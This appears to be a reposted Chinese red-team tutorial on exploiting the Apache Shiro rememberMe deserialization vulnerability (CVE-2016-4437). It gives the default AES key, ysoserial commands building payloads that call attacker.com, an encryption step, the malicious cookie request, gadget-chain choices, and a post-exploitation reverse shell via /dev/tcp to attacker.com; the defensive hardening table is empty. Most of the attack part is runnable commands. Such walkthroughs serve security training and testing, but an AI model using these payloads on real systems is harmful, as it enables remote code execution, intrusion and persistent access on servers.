🥷 红队实战案例:Apache Shiro 框架漏洞利用全流程
🧩 一、识别目标使用了 Shiro 框架
🔍 目标访问行为识别
访问目标站点(如 http://target.com/login
),响应头中出现如下字段:
Set-Cookie: rememberMe=deleteMe;
✅ 高危特征点:“rememberMe” 是 Shiro 框架的标志性 Cookie 名称,用于记住登录状态。
🔒 二、Shiro 记住我功能安全逻辑
Shiro 的 rememberMe 机制如下:
-
服务端设置 Cookie rememberMe
; -
其中数据是 Java 对象序列化并加密后 的内容; -
客户端每次带上该 Cookie,Shiro 会解密并反序列化; -
若对象合法,自动登录用户。
⚠️ 如果 Shiro 配置中使用了默认密钥,攻击者可以伪造恶意序列化对象并触发 反序列化漏洞(RCE)!
📌 三、确认是否存在 Shiro 反序列化漏洞(CVE-2016-4437)
🔬 检测流程
✅ 1. 使用默认 AES Key 检测(Shiro 1.2.4 默认使用 "kPH+bIxk5D2deZiIxcaaaA==")
我们生成恶意 payload,用默认 key 加密后写入 rememberMe
:
GET / HTTP/1.1Host: target.comCookie: rememberMe=<base64_encoded_payload>
如果服务器返回响应头中,再设置了一次 Cookie 为 rememberMe=deleteMe
,说明 payload 解密失败,Shiro 认为非法,重置 Cookie。
❗ 但如果未重置 Cookie 或响应状态改变,就可能说明 key 是匹配的!
✅ 2. 使用 shiro_exploit_tool / ysoserial + 加密脚本 进行验证
java -jar ysoserial.jar CommonsBeanutils1 "ping attacker.com" > payload.ser
然后使用 Shiro 加密脚本生成 base64:
python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i payload.ser
将 base64 数据写入 Cookie,监听是否有请求发回:
Cookie: rememberMe=<生成的值>
✅ 3. 使用高级反序列化链测试(如 ysoserial)
利用链 | 说明 |
---|---|
CommonsBeanutils1 |
简单命令执行链,最常见 |
CommonsCollections1~6 |
强大链,适合各种反序列化攻击 |
Jdk7u21 |
适用于 JDK7 版本,命令执行链最强 |
Spring1 |
基于 Spring 框架的 RCE 链 |
通过这些工具,测试攻击是否成功。
🎯 四、漏洞利用:构造恶意序列化对象
利用链选择(ysoserial)
-
通用链: CommonsBeanutils1
/CommonsCollections1~6
/Jdk7u21
-
要根据目标的依赖情况选择能成功利用的链
生成 payload:
java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/pwned" > exp.ser
加密 payload:
python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i exp.ser
写入 Cookie 请求目标:
Cookie: rememberMe=<你的加密payload>
在监听服务器上看到回连,则说明成功触发了反序列化执行命令。
🧠 五、提权 + 持久化思路
成功执行命令后常见操作:
|
|
---|---|
|
bash -i >& /dev/tcp/attacker.com/4444 0>&1 |
|
ip a
netstat , nmap , ps aux |
|
|
|
|
🧱 六、安全加固建议(防守视角)
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
✅ 七、总结攻击链
graph TD A[发现 rememberMe] --> B[尝试默认密钥解密] B --> C[成功识别加密密钥] C --> D[生成反序列化 payload] D --> E[加密 + Base64 编码] E --> F[写入 Cookie 请求] F --> G[触发反序列化执行命令] G --> H[获得控制权限]
原文始发于微信公众号(季升安全):Apache Shiro 框架漏洞利用全流程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论